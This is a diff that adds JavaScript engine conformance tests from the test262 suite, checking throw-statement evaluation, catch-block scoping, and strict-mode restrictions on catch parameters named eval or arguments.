+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T1.js
+ * @description Evaluating boolean expression
+ */
+
+// CHECK#1
+var b=true;
+try{
+ throw b&&false;
+}
+catch(e){
+ if (e!==false) $ERROR('#1: Exception === false(operaton &&). Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+var b=true;
+try{
+ throw b||false;
+}
+catch(e){
+ if (e!==true) $ERROR('#2: Exception === true(operaton ||). Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+try{
+ throw !false;
+}
+catch(e){
+ if (e!==true) $ERROR('#3: Exception === true(operaton !). Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+var b=true;
+try{
+ throw !(b&&false);
+}
+catch(e){
+ if (e!==true) $ERROR('#4: Exception === true(operaton &&). Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T2.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T2.js
new file mode 100644
index 000000000..f8cb92203
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T2.js
+ * @description Evaluating string expression
+ */
+
+// CHECK#1
+try{
+ throw "exception"+" #1";
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#1: Exception === "exception #1"(operaton +). Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+var b="exception"
+var a=" #1";
+try{
+ throw b+a;
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#2: Exception === "exception #1"(operaton +). Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T3.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T3.js
new file mode 100644
index 000000000..44c9d075c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T3.js
@@ -0,0 +1,92 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T3.js
+ * @description Evaluating number expression
+ */
+
+// CHECK#1
+try{
+ throw 10+3;
+}
+catch(e){
+ if (e!==13) $ERROR('#1: Exception ===13(operaton +). Actual: Exception ==='+ e);
+}
+
+// CHECK#2
+var b=10;
+var a=3;
+try{
+ throw a+b;
+}
+catch(e){
+ if (e!==13) $ERROR('#2: Exception ===13(operaton +). Actual: Exception ==='+ e);
+}
+
+// CHECK#3
+try{
+ throw 3.15-1.02;
+}
+catch(e){
+ if (e!==2.13) $ERROR('#3: Exception ===2.13(operaton -). Actual: Exception ==='+ e);
+}
+
+// CHECK#4
+try{
+ throw 2*2;
+}
+catch(e){
+ if (e!==4) $ERROR('#4: Exception ===4(operaton *). Actual: Exception ==='+ e);
+}
+
+// CHECK#5
+try{
+ throw 1+Infinity;
+}
+catch(e){
+ if (e!==+Infinity) $ERROR('#5: Exception ===+Infinity(operaton +). Actual: Exception ==='+ e);
+}
+
+// CHECK#6
+try{
+ throw 1-Infinity;
+}
+catch(e){
+ if (e!==-Infinity) $ERROR('#6: Exception ===-Infinity(operaton -). Actual: Exception ==='+ e);
+}
+
+// CHECK#7
+try{
+ throw 10/5;
+}
+catch(e){
+ if (e!==2) $ERROR('#7: Exception ===2(operaton /). Actual: Exception ==='+ e);
+}
+
+// CHECK#8
+try{
+ throw 8>>2;
+}
+catch(e){
+ if (e!==2) $ERROR('#8: Exception ===2(operaton >>). Actual: Exception ==='+ e);
+}
+
+// CHECK#9
+try{
+ throw 2<<2;
+}
+catch(e){
+ if (e!==8) $ERROR('#9: Exception ===8(operaton <<). Actual: Exception ==='+ e);
+}
+
+// CHECK#10
+try{
+ throw 123%100;
+}
+catch(e){
+ if (e!==23) $ERROR('#10: Exception ===23(operaton %). Actual: Exception ==='+ e);
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T4.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T4.js
new file mode 100644
index 000000000..9a6e010f0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T4.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T4.js
+ * @description Evaluating array expression
+ */
+
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+var mycars2 = new Array();
+mycars2[0] = "Mercedes";
+mycars2[1] = "Jeep";
+mycars2[2] = "Suzuki";
+
+// CHECK#1
+try{
+ throw mycars.concat(mycars2);
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#1.'+i+': Exception['+i+']===mycars['+i+'](operation .concat). Actual: Exception['+i+']==='+ e[i] );
+ }
+ for (var i=3;i<6;i++){
+ if (e[i]!==mycars2[i-3]) $ERROR('#1.'+i+': Exception['+i+']===mycars2['+(i-3)+'](operation .concat). Actual: Exception['+i+']==='+ e[i] );
+ }
+}
+
+// CHECK#2
+try{
+ throw new Array("Mercedes","Jeep","Suzuki");
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars2[i]) $ERROR('#2.'+i+': Exception['+i+']===mycars2['+i+'](operation new). Actual: Exception['+i+']==='+ e[i] );
+ }
+}
+
+// CHECK#3
+try{
+ throw mycars.concat(new Array("Mercedes","Jeep","Suzuki"));
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#3.'+i+': Exception['+i+']===mycars['+i+'](operation .concat(new)). Actual: Exception['+i+']==='+ e[i] );
+ }
+ for (var i=3;i<6;i++){
+ if (e[i]!==mycars2[i-3]) $ERROR('#3.'+i+': Exception['+i+']===mycars2['+(i-3)+'](operation .concat(new)). Actual: Exception['+i+']==='+ e[i] );
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T5.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T5.js
new file mode 100644
index 000000000..69fb016d5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T5.js
+ * @description Evaluating equation expression
+ */
+
+// CHECK#1
+var a=true;
+var b=false;
+try{
+ throw ((a&&(!b))?"exception":" #1");
+}
+catch(e){
+ if (e!=="exception") $ERROR('#1: Exception ==="exception"(operaton ? , ). Actual: Exception ==='+e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T6.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T6.js
new file mode 100644
index 000000000..7191c6bd6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T6.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1. Evaluate Expression
+ *
+ * @path ch12/12.13/S12.13_A3_T6.js
+ * @description Evaluating functions
+ */
+
+// CHECK#1
+var i=0;
+function adding1(){
+ i++;
+ return 1;
+}
+try{
+ throw (adding1());
+}
+catch(e){
+ if (e!==1) $ERROR('#1: Exception ===1. Actual: Exception ==='+ e);
+}
+
+// CHECK#2
+var i=0;
+function adding2(){
+ i++;
+ return i;
+}
+try{
+ throw adding2();
+}
+catch(e){}
+if (i!==1) $ERROR('#2: i===1. Actual: i==='+ i);
+
+// CHECK#3
+var i=0;
+function adding3(){
+ i++;
+}
+try{
+ throw adding3();
+}
+catch(e){}
+if (i!==1) $ERROR('#3: i===1. Actual: i==='+i);
+
+// CHECK#4
+function adding4(i){
+ i++;
+ return i;
+}
+try{
+ throw (adding4(1));
+}
+catch(e){
+ if (e!==2) $ERROR('#4: Exception ===2. Actual: Exception ==='+ e);
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/browser.js b/js/src/tests/test262/ch12/12.13/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/browser.js
diff --git a/js/src/tests/test262/ch12/12.13/shell.js b/js/src/tests/test262/ch12/12.13/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/shell.js
diff --git a/js/src/tests/test262/ch12/12.14/12.14-1.js b/js/src/tests/test262/ch12/12.14/12.14-1.js
new file mode 100644
index 000000000..47bff810b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-1.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-1.js
+ * @description catch doesn't change declaration scope - var initializer in catch with same name as catch parameter changes parameter
+ */
+
+
+function testcase() {
+ foo = "prior to throw";
+ try {
+ throw new Error();
+ }
+ catch (foo) {
+ var foo = "initializer in catch";
+ }
+ return foo === "prior to throw";
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-10.js b/js/src/tests/test262/ch12/12.14/12.14-10.js
new file mode 100644
index 000000000..1bdf8273d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-10.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-10.js
+ * @description catch introduces scope - name lookup finds function parameter
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o, x) {
+ try {
+ throw o;
+ }
+ catch (e) {
+ return x;
+ }
+ }
+
+ return innerf(o, 42);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-11.js b/js/src/tests/test262/ch12/12.14/12.14-11.js
new file mode 100644
index 000000000..6fded5bee
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-11.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-11.js
+ * @description catch introduces scope - name lookup finds inner variable
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o) {
+ var x = 42;
+
+ try {
+ throw o;
+ }
+ catch (e) {
+ return x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-12.js b/js/src/tests/test262/ch12/12.14/12.14-12.js
new file mode 100644
index 000000000..c92580cfe
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-12.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-12.js
+ * @description catch introduces scope - name lookup finds property
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o) {
+ try {
+ throw o;
+ }
+ catch (e) {
+ return e.x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({x:42}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-13.js b/js/src/tests/test262/ch12/12.14/12.14-13.js
new file mode 100644
index 000000000..3efb98913
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-13.js
@@ -0,0 +1,42 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-13.js
+ * @description catch introduces scope - updates are based on scope
+ */
+
+
+function testcase() {
+ var res1 = false;
+ var res2 = false;
+ var res3 = false;
+
+ var x_12_14_13 = 'local';
+ try {
+ function foo() {
+ this.x_12_14_13 = 'instance';
+ }
+
+ try {
+ throw foo;
+ }
+ catch (e) {
+ res1 = (x_12_14_13 === 'local');
+ e();
+ res2 = (x_12_14_13 === 'local');
+ }
+ res3 = (x_12_14_13 === 'local');
+
+ if (res1 === true &&
+ res2 === true &&
+ res3 === true) {
+ return true;
+ }
+ } finally {
+ delete this.x_12_14_13;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-14.js b/js/src/tests/test262/ch12/12.14/12.14-14.js
new file mode 100644
index 000000000..40b2c82c8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-14.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-14.js
+ * @description Exception object is a function, when an exception parameter is called as a function in catch block, global object is passed as the this value
+ */
+
+
+function testcase() {
+ try {
+ throw function () {
+ this._12_14_14_foo = "test";
+ };
+ return false;
+ } catch (e) {
+ e();
+ return fnGlobalObject()._12_14_14_foo === "test";
+ }
+ finally {
+ delete fnGlobalObject()._12_14_14_foo;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-15.js b/js/src/tests/test262/ch12/12.14/12.14-15.js
new file mode 100644
index 000000000..e4397c17c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-15.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-15.js
+ * @description Exception object is a function which is a property of an object, when an exception parameter is called as a function in catch block, global object is passed as the this value
+ */
+
+
+function testcase() {
+ var obj = {};
+ obj.test = function () {
+ this._12_14_15_foo = "test";
+ };
+ try {
+ throw obj.test;
+ return false;
+ } catch (e) {
+ e();
+ return fnGlobalObject()._12_14_15_foo === "test";
+ }
+ finally {
+ delete fnGlobalObject()._12_14_15_foo;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-16.js b/js/src/tests/test262/ch12/12.14/12.14-16.js
new file mode 100644
index 000000000..e160e3d37
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-16.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-16.js
+ * @description Exception object is a function which update in catch block, when an exception parameter is called as a function in catch block, global object is passed as the this value
+ */
+
+
+function testcase() {
+ try {
+ throw function () {
+ this._12_14_16_foo = "test";
+ };
+ return false;
+ } catch (e) {
+ var obj = {};
+ obj.test = function () {
+ this._12_14_16_foo = "test1";
+ };
+ e = obj.test;
+ e();
+ return fnGlobalObject()._12_14_16_foo === "test1";
+ }
+ finally {
+ delete fnGlobalObject()._12_14_16_foo;
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-2.js b/js/src/tests/test262/ch12/12.14/12.14-2.js
new file mode 100644
index 000000000..16d08d34c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-2.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-2.js
+ * @description catch doesn't change declaration scope - var initializer in catch with same name as catch parameter changes parameter
+ */
+
+
+function testcase() {
+ function capturedFoo() {return foo};
+ foo = "prior to throw";
+ try {
+ throw new Error();
+ }
+ catch (foo) {
+ var foo = "initializer in catch";
+ return capturedFoo() !== "initializer in catch";
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-3.js b/js/src/tests/test262/ch12/12.14/12.14-3.js
new file mode 100644
index 000000000..6cd541061
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-3.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * local vars must not be visible outside with block
+ * local functions must not be visible outside with block
+ * local function expresssions should not be visible outside with block
+ * local vars must shadow outer vars
+ * local functions must shadow outer functions
+ * local function expresssions must shadow outer function expressions
+ * eval should use the appended object to the scope chain
+ *
+ * @path ch12/12.14/12.14-3.js
+ * @description catch doesn't change declaration scope - var declaration are visible outside when name different from catch parameter
+ */
+
+
+function testcase() {
+ try {
+ throw new Error();
+ }
+ catch (e) {
+ var foo = "declaration in catch";
+ }
+
+ return foo === "declaration in catch";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-4.js b/js/src/tests/test262/ch12/12.14/12.14-4.js
new file mode 100644
index 000000000..1d3cb1b16
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-4.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * local vars must not be visible outside with block
+ * local functions must not be visible outside with block
+ * local function expresssions should not be visible outside with block
+ * local vars must shadow outer vars
+ * local functions must shadow outer functions
+ * local function expresssions must shadow outer function expressions
+ * eval should use the appended object to the scope chain
+ *
+ * @path ch12/12.14/12.14-4.js
+ * @description catch introduces scope - block-local vars must shadow outer vars
+ */
+
+
+function testcase() {
+ var o = { foo : 42};
+
+ try {
+ throw o;
+ }
+ catch (e) {
+ var foo;
+
+ if (foo === undefined) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-6.js b/js/src/tests/test262/ch12/12.14/12.14-6.js
new file mode 100644
index 000000000..ae31f846e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-6.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * local vars must not be visible outside with block
+ * local functions must not be visible outside with block
+ * local function expresssions should not be visible outside with block
+ * local vars must shadow outer vars
+ * local functions must shadow outer functions
+ * local function expresssions must shadow outer function expressions
+ * eval should use the appended object to the scope chain
+ *
+ * @path ch12/12.14/12.14-6.js
+ * @description catch introduces scope - block-local function expression must shadow outer function expression
+ */
+
+
+function testcase() {
+ var o = {foo : function () { return 42;}};
+
+ try {
+ throw o;
+ }
+ catch (e) {
+ var foo = function () {};
+ if (foo() === undefined) {
+ return true;
+ }
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-7.js b/js/src/tests/test262/ch12/12.14/12.14-7.js
new file mode 100644
index 000000000..b7f8dbc36
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-7.js
@@ -0,0 +1,39 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * local vars must not be visible outside with block
+ * local functions must not be visible outside with block
+ * local function expresssions should not be visible outside with block
+ * local vars must shadow outer vars
+ * local functions must shadow outer functions
+ * local function expresssions must shadow outer function expressions
+ * eval should use the appended object to the scope chain
+ *
+ * @path ch12/12.14/12.14-7.js
+ * @description catch introduces scope - scope removed when exiting catch block
+ */
+
+
+function testcase() {
+ var o = {foo: 1};
+ var catchAccessed = false;
+
+ try {
+ throw o;
+ }
+ catch (expObj) {
+ catchAccessed = (expObj.foo == 1);
+ }
+
+ try {
+ expObj;
+ }
+ catch (e) {
+ return catchAccessed && e instanceof ReferenceError
+ }
+ return false;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-8.js b/js/src/tests/test262/ch12/12.14/12.14-8.js
new file mode 100644
index 000000000..d2e059cd9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-8.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * local vars must not be visible outside with block
+ * local functions must not be visible outside with block
+ * local function expresssions should not be visible outside with block
+ * local vars must shadow outer vars
+ * local functions must shadow outer functions
+ * local function expresssions must shadow outer function expressions
+ * eval should use the appended object to the scope chain
+ *
+ * @path ch12/12.14/12.14-8.js
+ * @description catch introduces scope - scope removed when exiting catch block (properties)
+ */
+
+
+function testcase() {
+ var o = {foo: 42};
+
+ try {
+ throw o;
+ }
+ catch (e) {
+ var foo = 1;
+ }
+
+ if (o.foo === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14-9.js b/js/src/tests/test262/ch12/12.14/12.14-9.js
new file mode 100644
index 000000000..2236dd169
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14-9.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14-9.js
+ * @description catch introduces scope - name lookup finds outer variable
+ */
+
+
+function testcase() {
+ function f(o) {
+ var x = 42;
+
+ function innerf(o) {
+ try {
+ throw o;
+ }
+ catch (e) {
+ return x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1-s.js
new file mode 100644
index 000000000..894a13501
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-1-s.js
+ * @description Strict Mode - SyntaxError is thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("\
+ try {} catch (eval) { }\
+ ");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1gs.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1gs.js
new file mode 100644
index 000000000..04708c31e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-1gs.js
+ * @description Strict Mode - SyntaxError is thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is eval
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+try { } catch (eval) { }
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-2-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-2-s.js
new file mode 100644
index 000000000..b0e660bd0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-2-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-2-s.js
+ * @description Strict Mode - SyntaxError is thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is arguments
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("\
+ try {} catch (arguments) { }\
+ ");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-3-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-3-s.js
new file mode 100644
index 000000000..3c477785b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-3-s.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-3-s.js
+ * @description Strict Mode - SyntaxError isn't thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is EVAL but throws SyntaxError if it is eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try{ eval(" try { \
+ throw new Error(\"...\");\
+ return false;\
+ } catch (EVAL) {\
+ try\
+ {\
+ throw new Error(\"...\");\
+ }catch(eval)\
+ {\
+ return EVAL instanceof Error;\
+ }\
+ }");
+ return false;
+ } catch(e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-4-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-4-s.js
new file mode 100644
index 000000000..58f372cba
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-4-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-4-s.js
+ * @description Strict Mode - SyntaxError isn't thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is EVAL
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ throw new Error("...");
+ return false;
+ } catch (EVAL) {
+ return EVAL instanceof Error;
+ }
+ }
+runTestCase(testcase);
